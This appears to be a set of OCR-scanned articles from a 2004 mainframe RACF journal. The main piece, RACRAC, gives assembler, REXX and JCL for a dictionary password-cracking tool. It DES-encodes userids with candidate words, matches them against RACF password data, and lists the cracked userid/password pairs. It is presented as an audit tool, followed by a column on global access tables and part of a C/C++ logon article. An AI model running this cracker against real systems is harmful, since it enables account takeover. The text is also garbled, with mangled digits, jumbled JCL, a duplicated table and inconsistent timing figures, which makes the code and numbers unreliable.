MVC   D_OUTDCB,S_OUTDCB       STATIC TO DYNAMIC AREA
MVC   D_RACR1,S_RACR1         STATIC TO DYNAMIC AREA
LA    RA,D_INDCB              RA -- INPUT DCB
LA    RB,D_OUTDCB             RB -- OUTPUT DCB
OPEN   ((RA),INPUT)           OPEN INPUT DCB (UV)
LTR   RF,RF                   OPEN OK?
BZ    LØØ1Ø                   YES --> CONTINUE
ABEND 666,DUMP

LØØ1Ø  DS  ØH
OPEN   ((RB),OUTPUT)           OPEN OUTPUT DCB (UVP2)
LTR   RF,RF                   OPEN OK?
BZ    LØØ2Ø                   YES --> CONTINUE
ABEND 999,DUMP
EJECT

* LOOP TILL FOR ALL USERIDS

LØØ2Ø  DS  ØH
GET   (RA),UV                 GET INPUT RECORD
MVC   KEYNAME,V               MOVE VERB TO KEY FIELD
RACROUTE REQUEST=EXTRACT,                                     X
  TYPE=ENCRYPT,                      ENCRYPT DATA        X
  BRANCH=YES,                        USE THE FAST BRANCH ENTRY X
  RELEASE=77Ø7,                      RACF RELEASE      X
  ENTITY=U,                         DATA TO ENCRYPT X
  WORKA=RACFWORK,                    RACF WORK AREA X
  ENCRYPT=(KEYBUFF,DES),            ENCRYPT KEY AND METHOD X
  MF=(E,D_RACR1)                    EXECUTE TYPE MACRO
LTR   RF,RF
BZ    LØØ14
LR    R2,RF
ABEND 696,DUMP

LØØ14  DS  ØH
MVC   P,KEYNAME               GET CODED VERSION
PUT   (RB),UVP                AND WRITE TO FILE
B     LØØ2Ø

LØØ9Ø  DS  ØH
CLOSE   ((RA))
CLOSE   ((RB))

* END OF PROCESSING

THE_END  DS  ØH                      MY ONLY FRIEND, THE END
FREEMAIN RC,                 FREE UP THE WORK AREA    X
  LV=L_WORK,                  FOR THE GIVEN LENGTH    X
  A=(R2)                      FROM THIS ADDRESS
LTR   RF,RF                   FREEMAIN OK?
BNZ   LØØ5Ø                   YES
LA    RF,OK                    RETURN CODE Ø
PR    .                          RETURN TO CALLER
L0050 DS DH
LA RF,FREEMAIN_ERROR RETURN CODE 0
PR . RETURN TO CALLER
EJECT
* RACF MACRO'S STATIC PARAMETER LISTS
EJECT
S_RACR1 RACROUTE REQUEST=EXTRACT, X
TYPE=ENCRYPT, ENCRYPT DATA X
BRANCH=YES, USE THE FAST BRANCH ENTRY X
RELEASE=7707, RACF RELEASE X
ENTITY=, DATA TO ENCRYPT X
WORKA=, RACF WORK AREA X
ENCRIPT=(,DES), ENCRYPT KEY AND METHOD X
MF=L
L_S_RACR1 EQU *-S_RACR1
EJECT
* DCB MACRO'S STATIC PARAMETER LISTS
S_OUTDCB DCB DDNAME=UVP,DSORG=PS,RECFM=FB,MACRF=(PM),LRECL=24
L_OUTDCB EQU *-S_OUTDCB
S_INDCB DCB DDNAME=UV,DSORG=PS,RECFM=FB,MACRF=(GM),LRECL=16, X
EODAD=L0090
L_INDCB EQU *-S_INDCB
EJECT
* LITERAL POOL
LTORG
EJECT
* EQUATES
OK EQU 0
GETMAIN_ERROR EQU 8
FREEMAIN_ERROR EQU 12
EJECT
* PROGRAM DYNAMIC AREA DSECT
WORKAREA DSECT
SAVEAREA DS 18F SAVEAREA
KEYBUFF DS 0XL9
KEYLEN DS X
KEYNAME DS CL8
UVP DS 0CL24
UV DS 0CL16
U DS CL8
V DS CL8
P DS CL8
RACFWORK DS XL512
EJECT
* RACF MACRO'S DYNAMIC PARAMETER LISTS
* START ON A DOUBLE WORD BOUNDARY
DS 0D
D_RACR1 DS XL(L_S_RACR1) RACROUTE NO 1
* DYNAMIC DCB
DS 0D
D_OUTDCB DS XL(L_OUTDCB)
D_INDCB DS XL(L_INDCB)
EJECT
L_WORK EQU *-WORKAREA LENGTH OF THE WORKAREA
/*

MACROS

MACRO
*
* THIS MACRO SETS THE AMODE OF YOUR PROGRAM TO 24
* THE CONTENT OF REGISTER 1 IS DESTROYED
&LABEL AMODE24
  LA R1,JED2&SYSNDX R1 --> JED2XXXX
  N R1,JED1&SYSNDX SET FIRST BIT OFF
  BSM R0,R1 BRANCH AND SET MODE
  JED1&SYSNDX DS ØF FULL WORD BOUNDARY FOR AND
  DC X'7FFFFFFFF' SET FIRST BIT OFF
  JED2&SYSNDX DS ØH MEND
MACRO &LABEL M#REGS &TYPE=ALL
  AIF ('&TYPE' EQ 'ALL').L0000
  AIF ('&TYPE' EQ 'HEX').L0000
  MNOTE 8,'TYPE MUST BE ALL OR HEX'
  MEXIT
  L0000 ANOP
  AIF ('&TYPE' EQ 'HEX').L0010
  R0 EQU 0 ALL REFERENCES TO REGISTERS MAPPED BY
  R1 EQU 1 ASSEMBLER XREF OPTION
  R2 EQU 2
  R3 EQU 3
  R4 EQU 4
  R5 EQU 5
  R6 EQU 6
  R7 EQU 7
  R8 EQU 8
  R9 EQU 9
  R10 EQU 10
  R11 EQU 11
  R12 EQU 12
  R13 EQU 13
  R14 EQU 14
  R15 EQU 15
  L0010 ANOP
  RA EQU 10
  RB EQU 11
  RC EQU 12
RACRACR0

/* REXX Program of the RACRAC application. Reads the UP (created by RACRACA0), UVP (from the previous run) and the V (new verbs) files. The records are combined to create the NU, OU, NV, OV and UVP1 datasets. Due to the possible large size of the UVP datasets the I/O is done by record and not by gulping in and out stem variables or the data stack in one go. */

address "TSO"
call Read_Input
call Make_U_Files
call Make_V_Files
exit

/* Read_Input reads the UP, UPV and V files into stem variables. Eventually error messages are issued. */

Read_Input:
"EXECIO 1 DISKR UVP (OPEN)"
uvp_rc = rc
if uvp_rc = 0 then parse pull uvp
   else uvp = ''
"EXECIO * DISKR UP (STEM up. FINIS)"
"EXECIO * DISKR V (STEM v. FINIS)"
"EXECIO Ø DISKW UVP1 (OPEN)"
do i = 1 to v.Ø
   upper v.i
end
select
when up.Ø = Ø then do
    say 'No RACF data found, processing halted'
    exit(8)
end
when uvp_rc <> Ø & v.Ø = Ø then do
    say 'No verbs to process, processing halted'
    exit(8)
end
otherwise nop
end
return

/* Make_U_Files creates the files UVP1, NU, and OU from UP and UVP. Basically we walk through the UVP and UP files and when equal users are found we copy the record to the UVP1 file and the user to the OU file. If the user only exists in UP we copy the user to the NU file. */

Make_U_files:
nu. = ''
i_nu = Ø
ou. = ''
i_ou = Ø
i_du = Ø
i = 1
do while i <= up.Ø
    select
        when left(up.i, 8) < left(uvp, 8) | uvp_rc <> Ø then do
            i_nu = i_nu + 1
            nu.i_nu = left(up.i, 8)
            i = i + 1
        end
        when left(up.i, 8) = left(uvp, 8) then do
            i_ou = i_ou + 1
            ou.i_ou = left(up.i, 8)
            i = i + 1
            call Next_UVP('COPY')
        end
        otherwise do
            i_du = i_du + 1
            call Next_UVP('SKIP')
        end
    end
    nu.Ø = i_nu
    ou.Ø = i_ou
say 'New users:' i_nu 'Old users:' i_ou 'Deleted users:' i_du
"EXECIO Ø DISKW UVP (FINIS)"
"EXECIO Ø DISKW UVP1 (FINIS)"
"EXECIO * DISKW NU (STEM NU. FINIS)"
"EXECIO * DISKW OU (STEM OU. FINIS)"
return
/* Make_V_Files */
Make_V_Files:
"EXECIO 1 DISKR UVP (OPEN)"
uvp_rc = rc
if uvp_rc = Ø then do
  parse pull uvp
  user = left(uvp, 8)
end
nv. = ''
i_nv = Ø
ov. = ''
i_ov = Ø
/* Create a list of all the old v by reading all v from the uvp for
the first user in uvp. */
do forever
  if user <> left(uvp, 8) | uvp_rc <> Ø then leave
  i_ov = i_ov + 1
  ov.i_ov = substr(uvp, 9, 8)
  "EXECIO 1 DISKR UVP"
  parse pull uvp
end
"EXECIO Ø DISKR UVP (FINIS)"
ov.Ø = i_ov
j = 1
i = 1
do forever
  select
    when i > v.Ø then leave
    when ov.j < v.i & j <= ov.Ø then do
      j = j +1
    end
    when ov.j = v.i & j <= ov.Ø then do
      j = j +1
      i = i +1
    end
    otherwise do
      i_nv = i_nv + 1
      nv.i_nv = v.i
      i = i +1
    end
  end
nv.Ø = i_nv
say 'New verbs:' nv.Ø 'Old verbs:' ov.Ø
"EXECIO * DISKW NV   (STEM NV.   FINIS)"
"EXECIO * DISKW OV   (STEM OV.   FINIS)"
return
/* Next_UVP has uvp containing a certain uvp combination. Till the
next new user, all records will be copied to UVP1. */
Next_UVP:
arg action
act_user = left(uvp, 8)
do while act_user = left(uvp, 8) & uvp_rc = Ø
  if action = 'COPY' then do
    push uvp
    "EXECIO 1 DISKW UVP1"
  end
  "EXECIO 1 DISKR UVP"
  uvp_rc = rc
  parse pull uvp
end
return

RACRACR1
/* REXX exit that allows customer-specific processing before the
coding stage. All files are that used further in the process are
available. Specific processing - for instance based on SETROPTS
password settings - can be done here. In this set-up records are
written to the UV1 file that containing the userid and
the connect groups for each user.
Note that the user who executes the program must have RACF SPECIAL.*/
call Read_Input
call Create_U_files
exit
/* Read_Input reads the OU and NU files into stem variables and merges
   them into a u. stem.                                      */
Read_Input:
"EXECIO * DISKR U    (STEM u.  FINIS)"
return
/* Create_U_Files inquires RACF and creates a file with
   <userid><userid> and <userid><connect group> records.            */
Create_U_Files:
i_uv1 = Ø
drop uv1
do i = 1 to u.Ø
  i_uv1 = i_uv1 + 1
  uv1.i_uv1 = left(u.i, 8) || left(u.i, 8)
drop racf.
x = outtrap('racf. ')
"LISTUSER" u.i
do j = 1 to racf.Ø
  if left(strip(racf.j), 5) = 'GROUP' then do
    parse var racf.j 'GROUP=' group .
i_uv1 = i_uv1 + 1
  uv1.i_uv1 = left(u.i, 8) || group
end
end
end
uv1.Ø = i_uv1
say 'Exit created' uv1.Ø 'extra entries in the UV1 file.'
"EXECIO * DISKW UV1 (STEM uv1. FINIS)"
return

RACRACR2

/* REXX that merges the NU, OU, NV, and OV files to one input file
 (UV2) for the encoding stage in the following combinations:
 NU * OV New users and old verbs
 NU * NV New users and new verbs
 OU * NV Old users and new verbs
 The output is written to UV2                                    */
call Read_input
call Make_uv2_File
exit

/* Read_input reads the NU, OU, NV and OV files into stem variables.*/
Read_input:
"EXECIO * DISKR NU   (STEM nu. FINIS)"
"EXECIO * DISKR OU   (STEM ou. FINIS)"
"EXECIO * DISKR NV   (STEM nv. FINIS)"
"EXECIO * DISKR OV   (STEM ov. FINIS)"
return

/* Make_uv2_File creates all combinations that must be encoded. */
Make_uv2_File:
uv2. = '
 i_uv2 = Ø
do i = 1 to nu.Ø
   do j = 1 to nv.Ø
       i_uv2 = i_uv2 + 1
       uv2.i_uv2 = nu.i || nv.j
   end
say 'Combinations for new users and new verbs:' i_uv2
   count = i_uv2
   do i = 1 to nu.Ø
     do j = 1 to ov.Ø
         i_uv2 = i_uv2 + 1
         uv2.i_uv2 = nu.i || ov.j
     end
   end
   say 'Combinations for new users and old verbs:' i_uv2 - count
   count = i_uv2
   do i = 1 to ou.Ø
     do j = 1 to nv.Ø
         i_uv2 = i_uv2 + 1
         uv2.i_uv2 = ou.i || nv.j
     end
   end
say 'Combinations for old users and new verbs:' i_uv2 - count
say 'Total number of combinations in the UV2 file:' i_uv2
uv2.Ø = i_uv2
"EXECIO * DISKW UV2 (STEM uv2. FINIS)"
return

RACRACR3

/* REXX that produces the result listing by comparing the UVP and UP files.
The output is written to SYSTSPRT:
   Summary: Number of users, recognized combinations, and verbs.
   Details: 1. Recognized combinations with RACF user information.
            2. Verb list. */
call Read_input
call Make_RACRAC
call Print_RACRAC
exit
/* Read_Input reads the NU, OU, NV and OV files into stem variables. */
Read_Input:
up. = ''
"EXECIO * DISKR UP   (STEM up. FINIS)"
"EXECIO 1 DISKR UVP  (OPEN)"
rc_uvp = rc
pull uvp
return
/* Make_RACRAC checks all the UP records against the calculated UVP records. Processing stops at EOF. */
Make_RACRAC:
drop racrac.
i_racrac = Ø
do i = 1 to up.Ø
   up_u = left(up.i, 8)
do while left(uvp, 8) = up_u
      if substr(uvp, 17, 8) = substr(up.i, 9, 8) then do
         i_racrac = i_racrac + 1
         racrac.i_racrac = uvp
      end
   "EXECIO 1 DISKR UVP"
   if rc <> Ø then leave
   parse pull uvp
end
   if rc <> Ø then leave
end
racrac.Ø = i_racrac
"EXECIO Ø DISKR UVP (FINIS)"
return
/* Print_RACRAC writes the output report. */
Print_RACRAC:
"EXECIO * DISKR U (STEM u. FINIS)"
"EXECIO * DISKR V (STEM v. FINIS)"
say ' RACRAC Summary report'
say '-----------------------'
say ''
say ' On a total of' u.Ø 'users,' racrac.Ø ' were recognized,'
say ' using a vocabulary of' v.Ø 'verbs.'
say ' Following users/password combinations were recognized:'
say ''
drop u.
do i = 1 to racrac.Ø
  say left(racrac.i, 8) '/' substr(racrac.i, 9, 8)
end
say ' RACRAC Detailed report: Recognized combinations'
say '-------------------------------'
say ''
say ' Detailed user information for recognized users.'
say ''
do i = 1 to racrac.Ø
  say left(racrac.i, 8) '/' substr(racrac.i, 9, 8)
say ''
  x = outtrap('racf.')
  "LISTUSER" left(racrac.i, 8)
  x = outtrap('OFF')
do j = 1 to racf.Ø
  say racf.j
end
say ' RACRAC Detailed report: Vocabulary'
say '---------------------'
say ''
say ' Permutations used in this RACRAC run:'
say ''
do i = 1 to v.Ø
  say v.i
end
return

JCL
//JEDSPA JOB (JAN), 'JAN DE DECKER', CLASS=A, MSGCLASS=U, NOTIFY=&SYSUID,
//              REGION=ØM, COND=(Ø, NE)
/*** DATASET NAMINGCONVENTIONS: O OLD
 /*** N NEW
 /*** U USERID
 /*** V VERB
 /*** P PASSWORD
 /***
/* CREATE THE UP (USERID/PASSWORD) DATASET */

SØ EXEC PGM=RACRACAØ
STEPLIB DD DISP=SHR,DSN=JEDSP.LOADLIB
SYSUDUMP DD SYSOUT=* 
UP DD DISP=(,PASS),DSN=&UP, 
    DCB=(LRECL=16,RECFM=FB,DSORG=PS),UNIT=3390, 
    SPACE=(CYL,(1,1)) 

/* SORT THE OLD UVP FILE ON USER - VERB */

S1 EXEC PGM=SORT 
SYSOUT DD SYSOUT=* 
SORTIN DD DISP=SHR,DSN=L.JEDSP.UVP 
SORTOUT DD DISP=SHR,DSN=L.JEDSP.UVP 
SORTWKØ1 DD UNIT=VIO,SPACE=(CYL,(25,5)) 
SORTWKØ2 DD UNIT=VIO,SPACE=(CYL,(25,5)) 
SYSIN DD *
    SORT FIELDS=(1,16,CH,A)
/* */

/* SORT THE V FILE ON VERB */

S2 EXEC  PGM=SORT 
SYSOUT DD SYSOUT=* 
SORTIN DD DISP=SHR,DSN=L.JEDSP.V 
SORTOUT DD DISP=SHR,DSN=L.JEDSP.V 
SORTWKØ1 DD UNIT=VIO,SPACE=(CYL,(25,5)) 
SORTWKØ2 DD UNIT=VIO,SPACE=(CYL,(25,5)) 
SYSIN DD *
    SORT FIELDS=(1,8,CH,A)
/* */

/* CREATE THE DIFFERENT WORK FILES */

S3 EXEC  PGM=IKJEFTØ1,PARM='%RACRACRØ' 
SYSPRINT DD SYSOUT=* 
SYSEXEC DD DISP=SHR,DSN=L.JEDSP.REXX 
SYSTSPRT DD SYSOUT=* 
SYSTSIN DD DUMMY 
/* */

/* INPUT FILES */

UVP DD DISP=OLD,DSN=L.JEDSP.UVP 
UP DD DISP=(OLD,PASS),DSN=&UP 
V DD DISP=SHR,DSN=L.JEDSP.V 
/* */

/* OUTPUT FILES */

NU DD DISP=(,PASS),DSN=&NU,
// DCB=(LRECL=8,RECFM=FB,DSORG=PS),UNIT=3390,
// SPACE=(CYL,(5,1))
//OU DD DISP=(,PASS),DSN=&&OU,
// DCB=(LRECL=8,RECFM=FB,DSORG=PS),UNIT=3390,
// SPACE=(CYL,(5,1))
//NV DD DISP=(,PASS),DSN=&&NV,
// DCB=(LRECL=8,RECFM=FB,DSORG=PS),UNIT=3390,
// SPACE=(CYL,(5,1))
//OV DD DISP=(,PASS),DSN=&&OV,
// DCB=(LRECL=8,RECFM=FB,DSORG=PS),UNIT=3390,
// SPACE=(CYL,(5,1))
//UV1 DD DISP=(,PASS),DSN=&&UV1,
// DCB=(LRECL=24,RECFM=FB,DSORG=PS),UNIT=3390,
// SPACE=(CYL,(50,5))
/**
// * USER EXIT: CREATES <USERID><USERID> & <USERID><GROUP> IN UV1
// */
//S4 EXEC PGM=IKJEFT01,PARM='%RACRACR1'
//SYSPRINT DD SYSOUT=* 
//SYSEXEC DD DISP=SHR,DSN=L.JEDSP.REXX
//SYSTSPRT DD SYSOUT=* 
//SYSTSIN DD DUMMY
//U DD DISP=(SHR,PASS),DSN=&&NU
// V DD DISP=(SHR,PASS),DSN=&&OU
// NV DD DISP=(SHR,PASS),DSN=&&NV
// OV DD DISP=(SHR,PASS),DSN=&&OV
// UV1 DD DISP=(,PASS),DSN=&&UV1,
// DCB=(LRECL=16,RECFM=FB,DSORG=PS),UNIT=3390,
// SPACE=(CYL,(10,5))
/**
// * COMBINE ALL U AND V PERMUTATIONS INTO 1 UV2 FILE
// */
//S5 EXEC PGM=IKJEFT01,PARM='%RACRACR2'
//SYSPRINT DD SYSOUT=* 
//SYSEXEC DD DISP=SHR,DSN=L.JEDSP.REXX
//SYSTSPRT DD SYSOUT=* 
//SYSTSIN DD DUMMY
//NU DD DISP=(SHR,PASS),DSN=&&NU
// OU DD DISP=(SHR,PASS),DSN=&&OU
// NV DD DISP=(SHR,PASS),DSN=&&NV
// OV DD DISP=(SHR,PASS),DSN=&&OV
// UV2 DD DISP=(,PASS),DSN=&&UV2,
// DCB=(LRECL=16,RECFM=FB,DSORG=PS),UNIT=3390,
// SPACE=(CYL,(20,10))
/**
// * ENCODING PHASE: EXIT DETERMINED VERBS
// */
//S6 EXEC PGM=RACRACA1
//STEPLIB DD DISP=SHR,DSN=JEDSP.LOADLIB
//SYSUDUMP DD SYSOUT=*
Password length | Permutations |
---|---|
1 - 8 | 5492851609440 5,5E+12 |
2 - 8 | 5492851609401 5,5E+12 |
3 - 8 | 5492851607880 5,5E+12 |
4 - 8 | 5492851548561 5,5E+12 |
5 - 8 | 5492849235120 5,5E+12 |
6 - 8 | 5492759010921 5,5E+12 |
7 - 8 | 5489240267160 5,5E+12 |
8 - 8 | 5352009260481 5,4E+12 |

Figure 1: Password length and number of permutations
//SORTIN   DD DISP=(SHR,PASS),DSN=&&UVP1
//         DD DISP=(SHR,DELETE),DSN=&&UVP2
//         DD DISP=(SHR,PASS),DSN=&&UVP3
//SORTOUT  DD DISP=(,PASS),DSN=&&UVP4,
//            DCB=(LRECL=24,RECFM=FB,DSORG=PS),UNIT=3390,
//            SPACE=(CYL,(50,5))
//SORTWK01 DD UNIT=VIO,SPACE=(CYL,(50,5))
//SORTWK02 DD UNIT=VIO,SPACE=(CYL,(50,5))
//SYSIN    DD *
//         SORT FIELDS=(1,16,CH,A)

/*
/**
**/* COMBINE THE WORK UVP FILES TO CREATE A NEW MASTER UVP WITHOUT
** THE EXIT DETERMINED COMBINATIONS
/**
/*
/*SA       EXEC  PGM=SORT
/*SYSOUT   DD SYSOUT=* 
/*SORTIN   DD DISP=(OLD,DELETE),DSN=&&UVP1
/*         DD DISP=(OLD,DELETE),DSN=&&UVP2
/*         DD DISP=OLD,DSN=L.JEDSP.UVP
/*SORTWK01 DD UNIT=VIO,SPACE=(CYL,(50,5))
/*SORTWK02 DD UNIT=VIO,SPACE=(CYL,(50,5))
/*SYSIN    DD *
//         SORT FIELDS=(1,16,CH,A)
/*
/**
**/* COMPARE AND PRODUCE A REPORT ON THE SYSTSPRT SYSOUT DATASET
/**
/*SB       EXEC  PGM=IKJEFT01,PARM='%RACRACR3'
/*SYSPRINT DD SYSOUT=* 

Figure 2: Hack time in relation to available MIPS

<table>
<thead>
<tr>
<th>DES calculations/second (7 - 8)</th>
<th>Average (50%)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Seconds</td>
</tr>
<tr>
<td>1000</td>
<td>2744620134</td>
</tr>
<tr>
<td>10000</td>
<td>274462013</td>
</tr>
<tr>
<td>100000</td>
<td>27446201</td>
</tr>
<tr>
<td>500000</td>
<td>5489240</td>
</tr>
<tr>
<td>705920</td>
<td>3888003</td>
</tr>
<tr>
<td>1000000</td>
<td>274620</td>
</tr>
<tr>
<td>1058882</td>
<td>2591999</td>
</tr>
<tr>
<td>31770422</td>
<td>86389</td>
</tr>
<tr>
<td>762252696</td>
<td>3601</td>
</tr>
<tr>
<td>45735769636</td>
<td>60</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>DES calculations/second (7 - 8)</th>
<th>Average (50%)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Seconds</td>
</tr>
<tr>
<td>1000</td>
<td>2744620134</td>
</tr>
<tr>
<td>10000</td>
<td>274462013</td>
</tr>
<tr>
<td>100000</td>
<td>27446201</td>
</tr>
<tr>
<td>500000</td>
<td>5489240</td>
</tr>
<tr>
<td>705920</td>
<td>3888003</td>
</tr>
<tr>
<td>1000000</td>
<td>274620</td>
</tr>
<tr>
<td>1058882</td>
<td>2591999</td>
</tr>
<tr>
<td>31770422</td>
<td>86389</td>
</tr>
<tr>
<td>762252696</td>
<td>3601</td>
</tr>
<tr>
<td>45735769636</td>
<td>60</td>
</tr>
</tbody>
</table>
CONCLUSION

What to do with the results? Password rules can be implemented with the RACF SETROPTS command, but to be of any use they should be published to the users, which is taken care of in the provided ‘exit’ routine RACRACR1.

The relationship between the password length and the number of permutations is shown in Figure 1.

The computer time to hack a password in relation to the number of available MIPS is shown in Figure 2.

The question is whether or not we can do something about this. The answer is no. One could argue that something stronger than DES could be used (triple DES for instance). The answer is two-fold, on the one hand it would be more difficult for a hacker (the RACRAC approach would not work); on the other hand, by simply abusing the in-place RACF password exit, the same result could be achieved by calling the exit instead of RACRACA1. Even more importantly, I would check where the ICHDEX01 and ICHDEX11 exits are to be found, and when in LINKLIB and LPALIB they are used. If their return code is 8 or 16, standard DES is used.

So, what can be done? I would suggest running RACRAC on a regular basis and explaining to users that it is their account that will be abused if they choose a weak password. Make it easier for the user to think of creative passwords by, for instance, remembering the first words of a poem, song, etc. An example is Joy Division’s *And I Saw Her Naked On Her Side And Then She Lost Control Again*, would become AISHNOHS, which could be used as a password that would probably not be found
in the dictionary. Furthermore, do not force the users into gluing Post-It notes to the screen with the 50 or so passwords on them that they have to remember. Go for Single-Sign-On (SSO), using Passtickets or Kerberos. Do me a favour and do not trust the following:

- The end user (that necessarily evil).
- Windows security (keep access to the mainframe part of a mainframe authentication scheme).
- Anybody with access to system libraries.

---


RACF in focus – Global Access Checking Table

This is a regular column focusing on specific aspects of RACF. In this issue, we will discuss various matters related to the Global Access Checking Table, and discuss best practices for implementing its features.

WHAT IS THE GLOBAL ACCESS CHECKING TABLE?

First, it is important to understand that the Global Access Checking Table, sometimes also called the Global Access Table, or simply the GAC table for short, is a feature provided in RACF for performance reasons only. It does not provide additional security features, nor does it make your installation more secure. It is there to speed up RACF access checking and processing, that’s all.

At the same time, it is a useful feature, and you can use it to your advantage by understanding its power and capabilities.

The GAC table consists of RACF profile entries, and these
entries can belong to the dataset class, or any of the general resource classes that are active at your installation. You can also specify, for each entry in the table, the level of access to be provided. That is, READ, UPDATE, etc.

You should create entries in the GAC table for non-sensitive resources only. That is, those resources, that everyone should access anyway to carry out their basic job functions.

HOW GLOBAL ACCESS CHECKING WORKS

When an access request is made to RACF, RACF checks the Global Access Checking Table before the profiles in the RACF database. During access checking, if RACF finds a match in the GAC table, it grants the requestor access to the resource without even checking the actual profile in the database. So, if the GAC table allows access, but the actual profile denies it, the access is granted!

This last aspect is what makes the use of the GAC table sometimes confusing. The GAC table is often overlooked when determining whether someone has access to a resource. If you know that someone can access a resource, but when you check the profile the profile does not allow access, you may wonder how the user is getting the access. In such cases, the GAC table could provide the answer. The ‘mirror profile’ solution mentioned below will remove some of this confusion.

An important point to keep in mind is that the Global Access Checking Table only grants access; it cannot deny access to a resource. In other words, during GAC checking, if no profile match is found, RACF continues further processing by checking the RACF database, etc, before failing (or granting) access.

Another important point to keep in mind is that if access is granted via GAC, then there is no logging in SMF, even though you have specified audit in the ‘mirror profile’ discussed below. So use GAC only when you do not need the SMF logging to occur. Since GAC only allows access, and never denies it, the case for logging is somewhat mitigated – because there is very
little need to log successes, especially for non-sensitive resources.

And lastly, you need to remember that Global Access Checking does not apply to userids having the RESTRICTED attribute. This is a feature of the RESTRICTED attribute, rather than a GAC feature.

**HOW IS GAC IMPLEMENTED?**

To implement GAC processing, you need to activate the GLOBAL class. This is a RACF class like any other, and you can activate and deactivate it at will, using the RACF SETROPTS commands:

```
SETROPTS CLASSACT(GLOBAL)
```

or:

```
SETROPTS NOCLASSACT(GLOBAL)
```

Once you have the GLOBAL class active, you can selectively use it for GAC processing. If, for example, you want to turn it on for only the DATASET class, you issue the commands:

```
SETROPTS GLOBAL(DATASET)
RDEFINE GLOBAL DATASET
```

Lastly, add entries for the DATASET class. The following command will provide UPDATE access to everyone for dataset_one:

```
RALTER GLOBAL DATSET ADDMEM('dataset_one'/UPDATE)
```

To remove the same entry, issue the command:

```
RALTER GLOBAL DATSET DELMEM('dataset_one'/UPDATE)
```

After each change to GLOBAL class, you need to do a refresh to effect the change. For example, for the DATASET class, enter the command:

```
SETROPTS GLOBAL(DATASET) REFRESH
```

There are several ways to see what you currently have in your GAC table:
1. You can use the RLIST command:
   RLIST GLOBAL DATASET

2. You can use the search command:
   SEARCH CLASS(GLOBAL)

3. You can run the DSMON report.

MIRROR PROFILES

It is highly recommended that you create ‘mirror’ profiles for all entries in the Global Access Checking Table. This is where you define a ‘real’ RACF profile for every entry in the GAC table.

For example, if you have:
SYS1.BRODCAST/UPDATE

in the GAC table, you should define a RACF profile:
ADDSD 'SYS1.BRODCAST' UACC(UPDATE) GENERIC DATA('Mirror profile for GAC entry')

The installation data field tells you the purpose of creating this profile.

There are several reasons for creating mirror profiles. It becomes easier to see whether someone has access, just by listing profiles, and not having to worry about GAC overriding any access. Also, if you want to make changes to a profile that is also in the GAC table, you become aware of the implications of making your change. If you do make changes to mirror profiles, remember to update the GAC also, if it is appropriate. Similarly, any changes to GAC should be reflected in the mirror profiles.

Mirror profiles are useful for auditing purposes. Auditors often look for mirror profiles for entries in the GAC table.

Creating mirror profiles has another important benefit – if for some reason the GLOBAL class becomes inactive (and some day it might), then you will have something to fall back on, and
not have failures for entries in the GAC table. The mirror profiles will take over and provide equivalent access.

You must, of course, remember to keep the mirror profiles in sync with the GAC entries.

GOOD CANDIDATES FOR GAC PROCESSING
As we saw earlier, you should only insert entries in the GAC table for non-sensitive resources.

Another criterion should be that the resource is frequently accessed. Since the benefits of GAC are performance-related, it doesn’t make sense to put in entries that are not frequently used.

Although GAC applies to any resource class, most often, you will see it used for the dataset class.

The following are good candidates for GAC processing in the dataset class. But you need to take into account your installation’s policies and practices before putting these in the GAC table:

SYS1.BROADCAST/UPDATE
SYS1.HELP/READ
SYS1.PROCLIB/READ
SYS1.** READ  (some caution is required, if you do not want PARMLIB to be read by everyone)
ISPF.**/READ   (Your installation’s ISPF library panels, etc).
CATALOG.**/READ
...
&RACUID.**/ALTER

The last entry is interesting – it says that, if the dataset’s high-level qualifier starts with the person’s userid, allow full (ALTER) access to the person – without any RACF profile checking! Needless to say, it is very powerful, and allows all TSO users complete control over their own TSO datasets. You avoid having to create many profiles. This is one instance where you may not want to create mirror profiles!

You may find other candidates based on your installation’s
unique set-up and requirements. Do you have many profiles with UACC (Universal ACCess) other than NONE? Then consider adding these to the GAC table.

SUMMARY

While the GAC table provides useful features, and can be exploited to your advantage, it should be used judiciously and with care. If important, sensitive profiles make their way into the GAC table, your installation’s security can be greatly compromised, without your even being aware of it!

For this reason you should review your GAC table periodically to make sure a RACF mirror profile exists for each entry in the table, and also make sure no sensitive resource has crept in.

The best way to see what is in your GAC table is to run the DSMON report. The section on GAC will show you what entries you have, and also what level of access is provided.

_Dinesh Dattani would welcome feedback, comments and queries about this column. He can be contacted at dinesh123@rogers.com._

_Dinesh Dattani  
Independent Consultant  
Toronto (Canada)  

© Xephon 2004

C/C++ functions for RACF security operations

Verifying the legitimate use of a userid, changing password values, and establishing alternative task-level security environments are common security operations in applications that support multiple users. This requirement is especially common in today’s sophisticated, multi-user, multi-tasking applications and this includes those coded in C/C++. 
Natively, IBM C/C++ for OS/390 or z/OS supports a `__passwd()` function that can be used to verify a password for a specified userid, or it can be used to verify and change a password for a specified userid. This is an important operation for an application that supports multiple users because it can be used to verify that the application requestor is:

- Who they say they are.
- Someone who should be able to access the application.

In some cases, just verifying a correct userid/password combination is insufficient for how an application needs to function. For example, once a userid/password combination has been validated, it may be necessary to perform the remaining work under the security level of the verified userid (similar to what happens with a CICS or TSO logon). This is where the `__login()` function in IBM C/C++ is useful. The `__login()` function creates a new task-level security environment so that any subsequent security related operations will be tested against the security authority of the new ‘logged in’ user.

These are powerful and necessary operations for any multi-user systems and multi-user/multi-tasking applications. There are drawbacks to these native functions. For `__passwd()`, if the BPX_DAEMON facility class profile is defined, programs must be loaded from controlled datasets (ie programs and datasets defined to the RACF PROGRAM class).

For `__login()`, drawbacks include:

- If the BPX_DAEMON facility class profile is defined, programs must be loaded from controlled datasets (ie programs and dataset defined to the RACF PROGRAM class).
- There is no way to log out from a logged-in user. You can change to a new security environment only by performing a new `__login()` function.
- `__login()` is not permitted in a multi-tasking environment,
which is one of the main reasons you would want to use a function with this capability.

A VIABLE SOLUTION

Four functions are provided with this article. They represent a viable alternative and address the above mentioned issues with using `__passwd()` and `__login()`. The functions are written in Assembler and are designed to be used from IBM C/C++ programs. The four functions and their operations are:

- **LOGON()** – uses the supplied userid and password to establish a task-level security environment under the specified userid if the password is the valid password (i.e., current and unexpired) for the userid and the userid is not currently in revoked status.

- **LOGOFF()** – restores the task-level ACEE address to zero for the current TCB.

- **PWVERIFY()** – is used to validate the supplied userid and password with RACF. This function is similar to LOGON(), but will not set the task-level security to that of the specified userid.

